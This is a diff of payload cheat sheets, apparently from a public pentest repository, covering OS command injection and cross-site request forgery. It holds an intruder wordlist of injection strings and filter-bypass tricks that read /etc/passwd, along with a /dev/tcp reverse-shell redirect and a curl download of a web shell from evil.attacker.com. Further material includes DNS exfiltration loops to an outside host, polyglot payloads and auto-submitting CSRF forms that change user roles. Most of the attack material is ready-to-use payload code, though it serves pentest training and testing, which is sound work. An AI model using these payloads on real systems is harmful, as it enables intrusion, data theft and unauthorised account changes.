+* [CSPT the Eval Villain Way! - Dennis Goodlett - December 3, 2024](https://blog.doyensec.com/2024/12/03/cspt-with-eval-villain.html)
+* [Bypassing File Upload Restrictions To Exploit Client-Side Path Traversal - Maxence Schmitt - January 9, 2025](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)

Command Injection/Intruder/command-execution-unix.txt

@@ -3,19 +3,28 @@
 <!--#exec%20cmd="/usr/bin/id;-->
 <!--#exec%20cmd="/usr/bin/id;-->
 /index.html|id|
+";id;"
+';id;'
 ;id;
 ;id
 ;netstat -a;
-;id;
+"|id|"
+'|id|'
 |id
 |/usr/bin/id
 |id|
+"|/usr/bin/id|"
+'|/usr/bin/id|'
 |/usr/bin/id|
+"||/usr/bin/id|"
+'||/usr/bin/id|'
 ||/usr/bin/id|
 |id;
 ||/usr/bin/id;
 ;id|
 ;|/usr/bin/id|
+"\n/bin/ls -al\n"
+'\n/bin/ls -al\n'
 \n/bin/ls -al\n
 \n/usr/bin/id\n
 \nid\n
@@ -56,8 +65,12 @@ a|/usr/bin/id
 %0Acat%20/etc/passwd
 %0A/usr/bin/id
 %0Aid
+%22%0A/usr/bin/id%0A%22
+%27%0A/usr/bin/id%0A%27
 %0A/usr/bin/id%0A
 %0Aid%0A
+"& ping -i 30 127.0.0.1 &"
+'& ping -i 30 127.0.0.1 &'
 & ping -i 30 127.0.0.1 &
 & ping -n 30 127.0.0.1 &
 %0a ping -i 30 127.0.0.1 %0a

Command Injection/README.md

@@ -5,34 +5,66 @@
 ## Summary
 
 * [Tools](#tools)
-* [Exploits](#exploits)
+* [Methodology](#methodology)
-  * [Basic commands](#basic-commands)
+    * [Basic Commands](#basic-commands)
-  * [Chaining commands](#chaining-commands)
+    * [Chaining Commands](#chaining-commands)
-  * [Inside a command](#inside-a-command)
+    * [Argument Injection](#argument-injection)
+    * [Inside A Command](#inside-a-command)
 * [Filter Bypasses](#filter-bypasses)
-  * [Bypass without space](#bypass-without-space)
+    * [Bypass Without Space](#bypass-without-space)
-  * [Bypass with a line return](#bypass-with-a-line-return)
+    * [Bypass With A Line Return](#bypass-with-a-line-return)
-  * [Bypass blacklisted words](#bypass-blacklisted-words)
+    * [Bypass With Backslash Newline](#bypass-with-backslash-newline)
-   * [Bypass with single quote](#bypass-with-a-single-quote)
+    * [Bypass With Tilde Expansion](#bypass-with-tilde-expansion)
-   * [Bypass with double quote](#bypass-with-a-double-quote)
+    * [Bypass With Brace Expansion](#bypass-with-brace-expansion)
-   * [Bypass with backslash and slash](#bypass-with-backslash-and-slash)
+    * [Bypass Characters Filter](#bypass-characters-filter)
-   * [Bypass with $@](#bypass-with-----)
+    * [Bypass Characters Filter Via Hex Encoding](#bypass-characters-filter-via-hex-encoding)
-   * [Bypass with variable expansion](#bypass-with-variable-expansion)
+    * [Bypass With Single Quote](#bypass-with-single-quote)
-   * [Bypass with wildcards](#bypass-with-wildcards)
+    * [Bypass With Double Quote](#bypass-with-double-quote)
-* [Challenge](#challenge)
+    * [Bypass With Backticks](#bypass-with-backticks)
-* [Time based data exfiltration](#time-based-data-exfiltration)
+    * [Bypass With Backslash And Slash](#bypass-with-backslash-and-slash)
-* [DNS based data exfiltration](#dns-based-data-exfiltration)
+    * [Bypass With $@](#bypass-with-)
-* [Polyglot command injection](#polyglot-command-injection)
+    * [Bypass With $()](#bypass-with--1)
+    * [Bypass With Variable Expansion](#bypass-with-variable-expansion)
+    * [Bypass With Wildcards](#bypass-with-wildcards)
+* [Data Exfiltration](#data-exfiltration)
+    * [Time Based Data Exfiltration](#time-based-data-exfiltration)
+    * [Dns Based Data Exfiltration](#dns-based-data-exfiltration)
+* [Polyglot Command Injection](#polyglot-command-injection)
+* [Tricks](#tricks)
+    * [Backgrounding Long Running Commands](#backgrounding-long-running-commands)
+    * [Remove Arguments After The Injection](#remove-arguments-after-the-injection)
+* [Labs](#labs)
+    * [Challenge](#challenge)
 * [References](#references)
 
-
 ## Tools
 
-* [commix - Automated All-in-One OS command injection and exploitation tool](https://github.com/commixproject/commix)
+* [commixproject/commix](https://github.com/commixproject/commix) - Automated All-in-One OS command injection and exploitation tool
+* [projectdiscovery/interactsh](https://github.com/projectdiscovery/interactsh) - An OOB interaction gathering server and client library
 
-## Exploits
+## Methodology
 
-### Basic commands
+Command injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability can exist when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell. In this context, the system shell is a command-line interface that processes commands to be executed, typically on a Unix or Linux system.
+
+The danger of command injection is that it can allow an attacker to execute any command on the system, potentially leading to full system compromise.
+
+**Example of Command Injection with PHP**:
+Suppose you have a PHP script that takes a user input to ping a specified IP address or domain:
+
+```php
+<?php
+    $ip = $_GET['ip'];
+    system("ping -c 4 " . $ip);
+?>
+```
+
+In the above code, the PHP script uses the `system()` function to execute the `ping` command with the IP address or domain provided by the user through the `ip` GET parameter.
+
+If an attacker provides input like `8.8.8.8; cat /etc/passwd`, the actual command that gets executed would be: `ping -c 4 8.8.8.8; cat /etc/passwd`.
+
+This means the system would first `ping 8.8.8.8` and then execute the `cat /etc/passwd` command, which would display the contents of the `/etc/passwd` file, potentially revealing sensitive information.
+
+### Basic Commands
 
 Execute the command and voila :p
 
@@ -42,104 +74,265 @@ root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/bin/sh
 bin:x:2:2:bin:/bin:/bin/sh
 sys:x:3:3:sys:/dev:/bin/sh
+...
 ```
 
-### Chaining commands
+### Chaining Commands
+
+In many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands.
+
+* `;` (Semicolon): Allows you to execute multiple commands sequentially.
+* `&&` (AND): Execute the second command only if the first command succeeds (returns a zero exit status).
+* `||` (OR): Execute the second command only if the first command fails (returns a non-zero exit status).
+* `&` (Background): Execute the command in the background, allowing the user to continue using the shell.
+* `|` (Pipe):  Takes the output of the first command and uses it as the input for the second command.
 
 ```powershell
-original_cmd_by_server; ls
+command1; command2   # Execute command1 and then command2
-original_cmd_by_server && ls
+command1 && command2 # Execute command2 only if command1 succeeds
-original_cmd_by_server | ls
+command1 || command2 # Execute command2 only if command1 fails
-original_cmd_by_server || ls    Only if the first cmd fail
+command1 & command2  # Execute command1 in the background
+command1 | command2  # Pipe the output of command1 into command2
 ```
 
-### Inside a command
+### Argument Injection
 
-```bash
+Gain a command execution when you can only append arguments to an existing command.
-original_cmd_by_server `cat /etc/passwd`
+Use this website [Argument Injection Vectors - Sonar](https://sonarsource.github.io/argument-injection-vectors/) to find the argument to inject to gain command execution.
-original_cmd_by_server $(cat /etc/passwd)
+
+* Chrome
+
+    ```ps1
+    chrome '--gpu-launcher="id>/tmp/foo"'
+    ```
+
+* SSH
+
+    ```ps1
+    ssh '-oProxyCommand="touch /tmp/foo"' foo@foo
+    ```
+
+* psql
+
+    ```ps1
+    psql -o'|id>/tmp/foo'
+    ```
+
+Argument injection can be abused using the [worstfit](https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/) technique.
+
+In the following example, the payload `＂ --use-askpass=calc ＂` is using **fullwidth double quotes** (U+FF02) instead of the **regular double quotes** (U+0022)
+
+```php
+$url = "https://example.tld/" . $_GET['path'] . ".txt";
+system("wget.exe -q " . escapeshellarg($url));
 ```
 
+Sometimes, direct command execution from the injection might not be possible, but you may be able to redirect the flow into a specific file, enabling you to deploy a web shell.
+
+* curl
+
+    ```ps1
+    # -o, --output <file>        Write to file instead of stdout
+    curl http://evil.attacker.com/ -o webshell.php
+    ```
+
+### Inside A Command
+
+* Command injection using backticks.
+
+  ```bash
+  original_cmd_by_server `cat /etc/passwd`
+  ```
+
+* Command injection using substitution
+
+  ```bash
+  original_cmd_by_server $(cat /etc/passwd)
+  ```
+
 ## Filter Bypasses
 
-### Bypass without space
+### Bypass Without Space
 
-Works on Linux only.
+* `$IFS` is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret `$IFS` as a space. `$IFS` does not directly work as a separator in commands like `ls`, `wget`; use `${IFS}` instead.
 
-```powershell
+  ```powershell
-swissky@crashlab:~/Www$ cat</etc/passwd
+  cat${IFS}/etc/passwd
-root:x:0:0:root:/root:/bin/bash
+  ls${IFS}-la
+  ```
 
-swissky@crashlab▸ ~ ▸ $ {cat,/etc/passwd}
+* In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments.
-root:x:0:0:root:/root:/bin/bash
-daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 
-swissky@crashlab▸ ~ ▸ $ cat$IFS/etc/passwd
+  ```powershell
-root:x:0:0:root:/root:/bin/bash
+  {cat,/etc/passwd}
-daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+  ```
 
-swissky@crashlab▸ ~ ▸ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
+* Input redirection. The < character tells the shell to read the contents of the file specified.
-RCE
-root:x:0:0:root:/root:/bin/bash
-daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 
-swissky@crashlab▸ ~ ▸ $ X=$'uname\x20-a'&&$X
+  ```powershell
-Linux crashlab 4.4.X-XX-generic #72-Ubuntu
+  cat</etc/passwd
+  sh</dev/tcp/127.0.0.1/4242
+  ```
 
-swissky@crashlab▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242
+* ANSI-C Quoting
+
+  ```powershell
+  X=$'uname\x20-a'&&$X
+  ```
+
+* The tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value `09`.
+
+  ```powershell
+  ;ls%09-al%09/home
+  ```
+
+* In Windows, `%VARIABLE:~start,length%` is a syntax used for substring operations on environment variables.
+
+  ```powershell
+  ping%CommonProgramFiles:~10,-18%127.0.0.1
+  ping%PROGRAMFILES:~10,-5%127.0.0.1
+  ```
+
+### Bypass With A Line Return
+
+Commands can also be run in sequence with newlines
+
+```bash
+original_cmd_by_server
+ls
 ```
 
-Commands execution without spaces, $ or { } - Linux (Bash only)
+### Bypass With Backslash Newline
+
+* Commands can be broken into parts by using backslash followed by a newline
+
+  ```powershell
+  $ cat /et\
+  c/pa\
+  sswd
+  ```
+
+* URL encoded form would look like this:
+
+  ```powershell
+  cat%20/et%5C%0Ac/pa%5C%0Asswd
+  ```
+
+### Bypass With Tilde Expansion
 
 ```powershell
-IFS=,;`cat<<<uname,-a`
+echo ~+
+echo ~-
 ```
 
-Works on Windows only.
+### Bypass With Brace Expansion
 
 ```powershell
-ping%CommonProgramFiles:~10,-18%IP
+{,ip,a}
-ping%PROGRAMFILES:~10,-5%IP
+{,ifconfig}
+{,ifconfig,eth0}
+{l,-lh}s
+{,echo,#test}
+{,$"whoami",}
+{,/?s?/?i?/c?t,/e??/p??s??,}
 ```
 
-### Bypass with a line return
+### Bypass Characters Filter
+
+Commands execution without backslash and slash - linux bash
 
 ```powershell
-something%0Acat%20/etc/passwd
+swissky@crashlab:~$ echo ${HOME:0:1}
+/
+
+swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
+root:x:0:0:root:/root:/bin/bash
+
+swissky@crashlab:~$ echo . | tr '!-0' '"-1'
+/
+
+swissky@crashlab:~$ tr '!-0' '"-1' <<< .
+/
+
+swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
+root:x:0:0:root:/root:/bin/bash
 ```
 
-### Bypass Blacklisted words
+### Bypass Characters Filter Via Hex Encoding
 
-#### Bypass with single quote
+```powershell
+swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
+/etc/passwd
+
+swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
+root:x:0:0:root:/root:/bin/bash
+
+swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
+root:x:0:0:root:/root:/bin/bash
+
+swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
+root:x:0:0:root:/root:/bin/bash
+
+swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
+/etc/passwd
+
+swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
+root:x:0:0:root:/root:/bin/bash
+
+swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
+/etc/passwd
+
+swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
+root:x:0:0:root:/root:/bin/bash
+```
+
+### Bypass With Single Quote
 
 ```powershell
 w'h'o'am'i
+wh''oami
+'w'hoami
 ```
 
-#### Bypass with double quote
+### Bypass With Double Quote
 
 ```powershell
 w"h"o"am"i
+wh""oami
+"wh"oami
 ```
 
-#### Bypass with backslash and slash
+### Bypass With Backticks
+
+```powershell
+wh``oami
+```
+
+### Bypass With Backslash and Slash
 
 ```powershell
 w\ho\am\i
 /\b\i\n/////s\h
 ```
 
-#### Bypass with $@
+### Bypass With $@
+
+`$0`: Refers to the name of the script if it's being run as a script. If you're in an interactive shell session, `$0` will typically give the name of the shell.
 
 ```powershell
 who$@ami
-
-echo $0
--> /usr/bin/zsh
 echo whoami|$0
 ```
 
-#### Bypass with variable expansion
+### Bypass With $()
+
+```powershell
+who$()ami
+who$(echo am)i
+who`echo am`i
+```
+
+### Bypass With Variable Expansion
 
 ```powershell
 /???/??t /???/p??s??
@@ -149,14 +342,108 @@ cat ${test//hhh\/hm/}
 cat ${test//hh??hm/}
 ```
 
-#### Bypass with wildcards
+### Bypass With Wildcards
 
 ```powershell
 powershell C:\*\*2\n??e*d.*? # notepad
 @^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
 ```
 
-## Challenge
+## Data Exfiltration
+
+### Time Based Data Exfiltration
+
+Extracting data char by char and detect the correct value based on the delay.
+
+* Correct value: wait 5 seconds
+
+  ```powershell
+  swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
+  real    0m5.007s
+  user    0m0.000s
+  sys 0m0.000s
+  ```
+
+* Incorrect value: no delay
+
+  ```powershell
+  swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
+  real    0m0.002s
+  user    0m0.000s
+  sys 0m0.000s
+  ```
+
+### Dns Based Data Exfiltration
+
+Based on the tool from [HoLyVieR/dnsbin](https://github.com/HoLyVieR/dnsbin), also hosted at [dnsbin.zhack.ca](http://dnsbin.zhack.ca/)
+
+1. Go to [dnsbin.zhack.ca](http://dnsbin.zhack.ca)
+2. Execute a simple 'ls'
+
+  ```powershell
+  for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
+  ```
+
+Online tools to check for DNS based data exfiltration:
+
+* [dnsbin.zhack.ca](http://dnsbin.zhack.ca)
+* [app.interactsh.com](https://app.interactsh.com)
+* [portswigger.net](https://portswigger.net/burp/documentation/collaborator)
+
+## Polyglot Command Injection
+
+A polyglot is a piece of code that is valid and executable in multiple programming languages or environments simultaneously. When we talk about "polyglot command injection," we're referring to an injection payload that can be executed in multiple contexts or environments.
+
+* Example 1:
+
+  ```powershell
+  Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
+
+  # Context inside commands with single and double quote:
+  echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
+  echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
+  echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
+  ```
+
+* Example 2:
+
+  ```powershell
+  Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
+
+  # Context inside commands with single and double quote:
+  echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
+  echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
+  echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'
+  ```
+
+## Tricks
+
+### Backgrounding Long Running Commands
+
+In some instances, you might have a long running command that gets killed by the process injecting it timing out.
+Using `nohup`, you can keep the process running after the parent process exits.
+
+```bash
+nohup sleep 120 > /dev/null &
+```
+
+### Remove Arguments After The Injection
+
+In Unix-like command-line interfaces, the `--` symbol is used to signify the end of command options. After `--`, all arguments are treated as filenames and arguments, and not as options.
+
+## Labs
+
+* [PortSwigger - OS command injection, simple case](https://portswigger.net/web-security/os-command-injection/lab-simple)
+* [PortSwigger - Blind OS command injection with time delays](https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays)
+* [PortSwigger - Blind OS command injection with output redirection](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection)
+* [PortSwigger - Blind OS command injection with out-of-band interaction](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band)
+* [PortSwigger - Blind OS command injection with out-of-band data exfiltration](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration)
+* [Root Me - PHP - Command injection](https://www.root-me.org/en/Challenges/Web-Server/PHP-Command-injection)
+* [Root Me - Command injection - Filter bypass](https://www.root-me.org/en/Challenges/Web-Server/Command-injection-Filter-bypass)
+* [Root Me - PHP - assert()](https://www.root-me.org/en/Challenges/Web-Server/PHP-assert)
+* [Root Me - PHP - preg_replace()](https://www.root-me.org/en/Challenges/Web-Server/PHP-preg_replace)
+
+### Challenge
 
 Challenge based on the previous tricks, what does the following command do:
 
@@ -164,64 +451,17 @@ Challenge based on the previous tricks, what does the following command do:
 g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
 ```
 
-## Time based data exfiltration
+**NOTE**: The command is safe to run, but you should not trust me.
-
-Extracting data : char by char
-
-```powershell
-swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
-real    0m5.007s
-user    0m0.000s
-sys 0m0.000s
-
-swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
-real    0m0.002s
-user    0m0.000s
-sys 0m0.000s
-```
-
-## DNS based data exfiltration
-
-Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca
-
-```powershell
-1. Go to http://dnsbin.zhack.ca/
-2. Execute a simple 'ls'
-for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
-```
-
-```powershell
-$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
-```
-
-Online tools to check for DNS based data exfiltration:
-
-- dnsbin.zhack.ca
-- pingb.in
-
-## Polyglot command injection
-
-```bash
-1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
-
-e.g:
-echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
-echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
-echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
-```
-
-```bash
-/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
-
-e.g:
-echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
-echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
-echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'
-```
 
 ## References
 
-* [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
+* [Argument Injection and Getting Past Shellwords.escape - Etienne Stalmans - November 24, 2019](https://staaldraad.github.io/post/2019-11-24-argument-injection/)
-* [Bug Bounty Survey - Windows RCE spaceless](https://twitter.com/bugbsurveys/status/860102244171227136)
+* [Argument Injection Vectors - SonarSource - February 21, 2023](https://sonarsource.github.io/argument-injection-vectors/)
-* [No PHP, no spaces, no $, no { }, bash only - @asdizzle](https://twitter.com/asdizzle_/status/895244943526170628)
+* [Back to the Future: Unix Wildcards Gone Wild - Leon Juranic - June 25, 2014](https://www.exploit-db.com/papers/33930)
-* [#bash #obfuscation by string manipulation - Malwrologist, @DissectMalware](https://twitter.com/DissectMalware/status/1025604382644232192)
+* [Bash Obfuscation by String Manipulation - Malwrologist, @DissectMalware - August 4, 2018](https://twitter.com/DissectMalware/status/1025604382644232192)
+* [Bug Bounty Survey - Windows RCE Spaceless - Bug Bounties Survey - May 4, 2017](https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136)
+* [No PHP, No Spaces, No $, No {}, Bash Only - Sven Morgenroth - August 9, 2017](https://twitter.com/asdizzle_/status/895244943526170628)
+* [OS Command Injection - PortSwigger - 2024](https://portswigger.net/web-security/os-command-injection)
+* [SECURITY CAFÉ - Exploiting Timed-Based RCE - Pobereznicenco Dan - February 28, 2017](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
+* [TL;DR: How to Exploit/Bypass/Use PHP escapeshellarg/escapeshellcmd Functions - kacperszurek - April 25, 2018](https://github.com/kacperszurek/exploits/blob/master/GitList/exploit-bypass-php-escapeshellarg-escapeshellcmd.md)
+* [WorstFit: Unveiling Hidden Transformers in Windows ANSI! - Orange Tsai - January 10, 2025](https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/)

Cross-Site Request Forgery/README.md

@@ -0,0 +1,162 @@
+# Cross-Site Request Forgery
+
+> Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
+
+## Summary
+
+* [Tools](#tools)
+* [Methodology](#methodology)
+    * [HTML GET - Requiring User Interaction](#html-get---requiring-user-interaction)
+    * [HTML GET - No User Interaction](#html-get---no-user-interaction)
+    * [HTML POST - Requiring User Interaction](#html-post---requiring-user-interaction)
+    * [HTML POST - AutoSubmit - No User Interaction](#html-post---autosubmit---no-user-interaction)
+    * [HTML POST - multipart/form-data With File Upload - Requiring User Interaction](#html-post---multipartform-data-with-file-upload---requiring-user-interaction)
+    * [JSON GET - Simple Request](#json-get---simple-request)
+    * [JSON POST - Simple Request](#json-post---simple-request)
+    * [JSON POST - Complex Request](#json-post---complex-request)
+* [Labs](#labs)
+* [References](#references)
+
+## Tools
+
+* [0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.
+
+## Methodology
+
+![CSRF_cheatsheet](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Cross-Site%20Request%20Forgery/Images/CSRF-CheatSheet.png)
+
+When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.
+
+### HTML GET - Requiring User Interaction
+
+```html
+<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
+```
+
+### HTML GET - No User Interaction
+
+```html
+<img src="http://www.example.com/api/setusername?username=CSRFd">
+```
+
+### HTML POST - Requiring User Interaction
+
+```html
+<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
+ <input name="username" type="hidden" value="CSRFd" />
+ <input type="submit" value="Submit Request" />
+</form>
+```
+
+### HTML POST - AutoSubmit - No User Interaction
+
+```html
+<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
+ <input name="username" type="hidden" value="CSRFd" />
+ <input type="submit" value="Submit Request" />
+</form>
+ 
+<script>
+ document.getElementById("autosubmit").submit();
+</script>
+```
+
+### HTML POST - multipart/form-data With File Upload - Requiring User Interaction
+
+```html
+<script>
+function launch(){
+    const dT = new DataTransfer();
+    const file = new File( [ "CSRF-filecontent" ], "CSRF-filename" );
+    dT.items.add( file );
+    document.xss[0].files = dT.files;
+
+    document.xss.submit()
+}
+</script>
+
+<form style="display: none" name="xss" method="post" action="<target>" enctype="multipart/form-data">
+<input id="file" type="file" name="file"/>
+<input type="submit" name="" value="" size="0" />
+</form>
+<button value="button" onclick="launch()">Submit Request</button>
+```
+
+### JSON GET - Simple Request
+
+```html
+<script>
+var xhr = new XMLHttpRequest();
+xhr.open("GET", "http://www.example.com/api/currentuser");
+xhr.send();
+</script>
+```
+
+### JSON POST - Simple Request
+
+With XHR :
+
+```html
+<script>
+var xhr = new XMLHttpRequest();
+xhr.open("POST", "http://www.example.com/api/setrole");
+//application/json is not allowed in a simple request. text/plain is the default
+xhr.setRequestHeader("Content-Type", "text/plain");
+//You will probably want to also try one or both of these
+//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
+//xhr.setRequestHeader("Content-Type", "multipart/form-data");
+xhr.send('{"role":admin}');
+</script>
+```
+
+With autosubmit send form, which bypasses certain browser protections such as the Standard option of [Enhanced Tracking Protection](https://support.mozilla.org/en-US/kb/enhanced-tracking-protection-firefox-desktop?as=u&utm_source=inproduct#w_standard-enhanced-tracking-protection) in Firefox browser :
+
+```html
+<form id="CSRF_POC" action="www.example.com/api/setrole" enctype="text/plain" method="POST">
+// this input will send : {"role":admin,"other":"="}
+ <input type="hidden" name='{"role":admin, "other":"'  value='"}' />
+</form>
+<script>
+ document.getElementById("CSRF_POC").submit();
+</script>
+```
+
+### JSON POST - Complex Request
+
+```html
+<script>
+var xhr = new XMLHttpRequest();
+xhr.open("POST", "http://www.example.com/api/setrole");
+xhr.withCredentials = true;
+xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
+xhr.send('{"role":admin}');
+</script>
+```
+
+## Labs
+
+* [PortSwigger - CSRF vulnerability with no defenses](https://portswigger.net/web-security/csrf/lab-no-defenses)
+* [PortSwigger - CSRF where token validation depends on request method](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method)
+* [PortSwigger - CSRF where token validation depends on token being present](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-token-being-present)
+* [PortSwigger - CSRF where token is not tied to user session](https://portswigger.net/web-security/csrf/lab-token-not-tied-to-user-session)
+* [PortSwigger - CSRF where token is tied to non-session cookie](https://portswigger.net/web-security/csrf/lab-token-tied-to-non-session-cookie)
+* [PortSwigger - CSRF where token is duplicated in cookie](https://portswigger.net/web-security/csrf/lab-token-duplicated-in-cookie)
+* [PortSwigger - CSRF where Referer validation depends on header being present](https://portswigger.net/web-security/csrf/lab-referer-validation-depends-on-header-being-present)
+* [PortSwigger - CSRF with broken Referer validation](https://portswigger.net/web-security/csrf/lab-referer-validation-broken)
+
+## References
+
+* [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/)
+* [Cross-Site Request Forgery (CSRF) - OWASP - Apr 19, 2024](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))
+* [Messenger.com CSRF that show you the steps when you check for CSRF - Jack Whitton - July 26, 2015](https://whitton.io/articles/messenger-site-wide-csrf/)
+* [Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) - Florian Courtial - 19 July 2016](https://web.archive.org/web/20170607102958/https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/)
+* [Hacking PayPal Accounts with one click (Patched) - Yasser Ali - 2014/10/09](https://web.archive.org/web/20141203184956/http://yasserali.com/hacking-paypal-accounts-with-one-click/)
+* [Add tweet to collection CSRF - Vijay Kumar (indoappsec) - November 21, 2015](https://hackerone.com/reports/100820)
+* [Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun - phwd - October 16, 2015](http://philippeharewood.com/facebookmarketingdevelopers-com-proxies-csrf-quandry-and-api-fun/)
+* [How I Hacked Your Beats Account? Apple Bug Bounty - @aaditya_purani - 2016/07/20](https://aadityapurani.com/2016/07/20/how-i-hacked-your-beats-account-apple-bug-bounty/)
+* [FORM POST JSON: JSON CSRF on POST Heartbeats API - Eugene Yakovchuk - July 2, 2017](https://hackerone.com/reports/245346)
+* [Hacking Facebook accounts using CSRF in Oculus-Facebook integration - Josip Franjkovic - January 15th, 2018](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf)
+* [Cross Site Request Forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](http://www.sjoerdlangkemper.nl/2019/01/09/csrf/)
+* [Cross-Site Request Forgery Attack - PwnFunction - 5 Apr. 2019](https://www.youtube.com/watch?v=eWEgUcHPle0)
+* [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)
